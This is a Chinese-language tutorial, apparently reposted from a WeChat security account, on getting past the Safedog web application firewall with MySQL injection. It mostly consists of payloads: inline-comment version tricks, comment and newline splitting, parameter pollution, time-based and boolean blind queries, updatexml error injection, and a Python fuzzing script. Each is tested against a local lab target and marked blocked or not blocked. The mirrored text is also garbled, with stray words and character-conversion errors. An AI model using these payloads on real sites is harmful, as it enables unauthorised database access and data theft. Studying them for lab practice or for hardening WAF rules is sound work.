一篇文章帶你進入Bypass 技術大門!

做者:404php

項目地址:mysql

https://github.com/aleenzz/MYSQL_SQL_BYPASS_WIKIgit


0x00 目錄


  1. 聯合過狗github

  2. 盲注過狗web

  3. 報錯過狗sql

0x01 聯合過狗


其實咱們過這些waf就是個正則的繞過,由於這種通用型的waf,須要考慮到用戶體驗,他不能出現什麼東西就直接攔截,比正則過濾的一些好繞一點,如何成功繞過咱們須要具有對mysql各個函數、語法、特性的熟悉,而後經過不斷的fuzz來測試出咱們想要的payload的apache

每一個狗的版本不一樣,他的正則也是不一樣的因此有的payload在最新版能夠用,在老闆不就可能用不上,當你的知識量有必定的積累後,繞過waf或許就很簡單,安全

如何快速的提高本身的這些知識,多看文章,多看官方手冊。微信

0x01-1 探索 and


實驗環境 :win2003 apache 安全狗4.0.23957函數

首先咱們來探索簡單的語句 and 1=1

and 1    攔截
and '1' 攔截
and a 不攔截
and 'a' 攔截
and ! 不攔截
and 1+1 攔截
and 1+a 攔截
and hex(1) 不攔截

經過測試咱們發現當 and 後面跟上 數字型和字符型時他會給咱們攔截掉 ,其實咱們在安全狗的規則裏面能夠看到他攔截 and 和 or 因此咱們有2個思路

  1. 用其餘字符替換 and 或者 or

  2. 帶入的不是字符串和數字型,帶入一個特殊符號

針對第一種咱們能夠去看看運算符號 隨便找到幾個| ^ xor & / * && || 等等還有不少

mysql> select '1'|1;
+-------+
| '1'|1 |
+-------+
| 1 |
+-------+
1 row in set (0.00 sec)


mysql> select '1'&1;
+-------+
| '1'&1 |
+-------+
| 1 |
+-------+
1 row in set (0.00 sec)

mysql> select '1'^1;
+-------+
| '1'^1 |
+-------+
| 0 |
+-------+
1 row in set (0.00 sec)

知道這個了咱們帶入咱們的語法就很簡單了 經過運算符來改變ID的值 查看頁面是否變化 這是可行的。

mysql> select * from admin where id ='1'|2-- +';
-> ;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 3 | bdmin | fdmin |
+------+----------+----------+
1 row in set (0.00 sec)

mysql> select * from admin where id ='1'|1-- +';
-> ;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | cdmin | bdmin |
+------+----------+----------+
1 row in set (0.00 sec)

通過測試你還會發現他的正則不全&& true 也是能夠的。

那咱們能夠不能夠正面剛and or 呢,固然也是可行的,前面咱們測試過 and hex(1) 不攔截其實已經能夠拿來判斷了,可是咱們還要深刻的探究

and hex(1)= 也是不攔截的 可是後面加入字符型和數字型他又開始攔截,因此咱們能夠猜想 他判斷 = 左右的字符類型,通過測試就能出來不少咱們想要的

and ~1>1

and hex(1)>-1

and hex(1)>~1

再深刻探究 你就會發現 安全狗他只在意 數字型的正數,而不在意負數,也就是and -2<-1 就能過狗,也多是- 繞過了他的正則

0x01-2 探索 union select


  1. 內聯註釋繞過

union    不攔截
select 不攔截
union select 攔截
union 各類字符 select 攔截
union/*select*/ 不攔截

經過簡單的測試咱們發現安全狗仍是認識咱們咱們的註釋的符號的,因此咱們就須要經過這個來繞過咱們的安全狗,前面符號一章我講過註釋符號的幾種,咱們主要使用的是

內聯註釋 /*!/*!*/

http://192.168.59.129/Less-1/?id=1' union/*!/*!50000select*/ 1,2,3--+  攔截

http://192.168.59.129/Less-1/?id=1' union/*!/*!5select*/ 1,2,3--+ 不攔截

爲何不攔截 ,由於50000是他的版本號,你多一位少一位語句是不能能正常執行的,因此他就放行了,那麼咱們能夠用burp來遍歷這個值呢,結果的確是咱們想要的

http://192.168.59.129/Less-1/?id=1' union/*!/*!11440select*/ 1,2,3--+ 不攔截

http://192.168.59.129/Less-1/?id=1' union/*!11441/*!11440select*/ 1,2,3--+ 不攔截

http://192.168.59.129/Less-1/?id=1' union/*!11440select*/ 1,2,3--+ 不攔截

http://192.168.59.129/Less-1/?id=-1' union/*!11440/**/%0aselect*/ 1,2,3--+ 不攔截

這句bypass的核心就在於版本號,而後你就感受fuzz了千種姿式,可是核心仍是這個,最簡也是這個,萬變不離其宗。

  1. 註釋繞過

聯想註釋咱們還知道有 -- # 那麼他們能夠利用嗎,固然是確定的,其實好久之前就有大佬發過這個語句了是union %23%0aselect 由於這些都是單行註釋,而%0a 是換行的url編碼,你們能夠換行後用url編碼看看,就是這個,可是這樣已經被加入規則庫了,如何繞過呢 很是簡單 固然這是個fuzz的過程,其實我只想寫出思路,而不是直接給payload。

union %23%0aselect 攔截

union %23select 攔截

union a%23 select 不攔截

union all%23 select 不攔截

union all%23%0a select 不攔截

union %23%0aall select 不攔截

有時候fuzz右邊不行 不如看看左邊 爲何能夠加all 這個你就得看看mysql手冊了,其實測試到最後發現%23%0a中間不能加字符不然會背攔截。

  1. -- 註釋繞過

-- 其實大佬們也同樣很早說了不過最初的姿式是 -- %0a 固然已經被加入豪華午飯了,因此咱們來測試

union all -- %0a select 攔截

union -- ()%0a select 攔截

union -- 1%0a select 不攔截

union -- hex()%0a select 不攔截

懂我意思吧,怎麼繞出來,發揮你的現象,總之倆開花。

  1. 老生常談 hpp 被人遺忘的手法

前面說過 /**/ 裏面的內容安全狗基本無論了,那麼咱們用hpp 參數污染來繞過就很簡單了照成這個手法的緣由是 web server 對參數的解析問題 在php/apache 中 它總解析最後一個id

http://192.168.59.129/Less-1/?id=-1' /*&id='union select 1,user(),3 -- +*/

0x01-3 注入


既然繞過了 union select 那麼注入就簡單了 首先來看個 user() ,由於它是被攔截的因此咱們須要簡單的繞過它

user()   攔截
user/**/() 攔截
user/**/(/**/) 攔截
hex(user/**/(/**/)) 不攔截

接着就是爆庫名

union  -- hex()%0a select 1,schema_name,3 from `information_schema`.schemata limit 1,1

接下來的流傳都差很少了 關鍵點就是在於 from 後面這塊 後面的我以這個information_schema.schemata 爲例展現幾種思路可能有的不能過

`information_schema`.schemata
`information_schema`.`schemata`
information_schema.`schemata`
(information_schema.schemata)
information_schema/**/.schemata

0x02 盲注過狗


0x02-1 延時過狗


盲注過狗相對聯合注入來講,感受上是更簡單,咱們先來試試時間盲注把,比布爾稍稍靈活一點

if(1,1,1) 不攔截
a if(1,1,1) 不攔截
and if(1,1,1) 攔截
| if(1,1,1) 不攔截
|| if(1,1,1) 攔截
&& if(1,1,1) 攔截
/*!and*/ if(1,1,1) 攔截
/*!11440and*/ if(1,1,1) 不攔截
andaif(1,1,1) 不攔截

經過上面的測試咱們其實能夠很簡單的看出來 他是攔截的 xx if 這個語句,其中xx 爲and 和 or 這2個詞有點敏感,可是繞過仍是能夠的

經過上一章的測試語句 發現版本爲 11440的 內聯註釋直接放行,咳咳這樣後面就直接注入,感受並非咱們這一章想要的,咱們這一章來試試不用內聯註釋內不內繞過

查閱烏雲知識庫發現一個小知識點 and!!!1=1 and後面能夠接上奇數個特殊的字符包括不限於! ~ & - 其餘還能夠本身測試 那麼咱們的payload就能構造出來了

and!!!if((substr((select hex(user/**/(/*!*/))),1,1)>1),sleep/**/(/*!5*/),1)

系統函數怎繞過我就很少說了每一張就有

0x02-2 布爾過狗


布爾注入過狗只能說是相對來講最簡單的吧,由於能夠不使用條件語句,少了一個繞過點

and!!!substr((select unhex(hex(user/**/(/*!*/)))),1,1)='r' 攔截

and!!!substr((select unhex(hex(user/**/(/*!*/)))),1,1)=r 不攔截

and!!!substr((select unhex(hex(user/**/(/*!*/)))),1,1)=1 不攔截

上面忘了說的就是這個點 =r 這裏 不能使用引號,那繞過他就很簡單了 什麼 HEX ASCII 都行,經過測試發現 使用布爾盲注 他的過濾真的不好,咱們試試 把and 換成&&

and substr((select hex(user/**/(/*!*/))),1,1)>1 攔截

/*!and*/ substr((select hex(user/**/(/*!*/))),1,1)>1 攔截

%26%26 substr((select hex(user/**/(/*!*/))),1,1)>1 攔截

/*!%26%26*/ substr((select hex(user/**/(/*!*/))),1,1)>1 不攔截

0x03 報錯過狗


0x03-1 探索報錯


報錯注入的繞過,感受不多人提過,很多人繞過也有必定的誤區吧,這裏提一提

updatexml 不攔截

updatexml(1,2,3 不攔截

updatexml(1,2) 不攔截

updatexml(1,2,) 不攔截

updatexml(,2,1) 不攔截

updatexml(1,2,!) 攔截

updatexml(1,2,%) 攔截

updatexml(,2,1,hex()) 攔截

and updatexml(1,2,3 不攔截

updatexml(1,2,3) 攔截

and updatexml(1,2,3) 攔截

到這裏咱們 大概知道了,他的判斷 updatexml() 的完整性 ,當裏面按逗號分割出現出現3個字符時,就會攔截,固然有個別特殊的字符串他沒過濾

這樣咱們在括號裏面作手腳的可能性很渺茫,那麼咱們還有 什麼方法呢, 能夠嘗試把updatexml() 函數分開,或者給updatexml 加個外套。

/*updatexml*/(1,1,1) 不攔截

/*!updatexml*/(1,1,1) 攔截

/*!5000updatexml*/(1,1,1) 不攔截

/*!11440updatexml*/(1,1,1) 不攔截

看來 updatexml() 函數咱們已經繞過了 須要前面加個 運算符號了

and /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1)  攔截

or /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 攔截

/*!and*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 攔截

/*!%26%26*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 不攔截

/*!||*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 不攔截

/*!xor*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 不攔截

| /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 不攔截

xor /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 不攔截

那麼有沒有什麼能夠包裹他的呢,其實咱們查看mysql手冊找到這麼一個符號 開單引號 ASCII 96

http://192.168.130.135/Less-1/?id=1' and `updatexml`(1,(select hex(user/**/(/**/))),1)-- +

那麼咱們寫個小腳本跑看看 還有沒有

import requests
import urllib

for i in range(0,177):
url = r"http://192.168.130.135/Less-1/?id=1%27%20xor%20{fuzz}updatexml{fuzz}(1,(select hex(user/**/(/**/))),1)--%20+".format(fuzz=urllib.quote(chr(i)))
req = requests.get(url)
if "F6F7" in req.text:
print len(req.text),i,urllib.quote(chr(i))


本文分享自微信公衆號 - 貝塔安全實驗室(BetaSecLab)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。

相關文章
相關標籤/搜索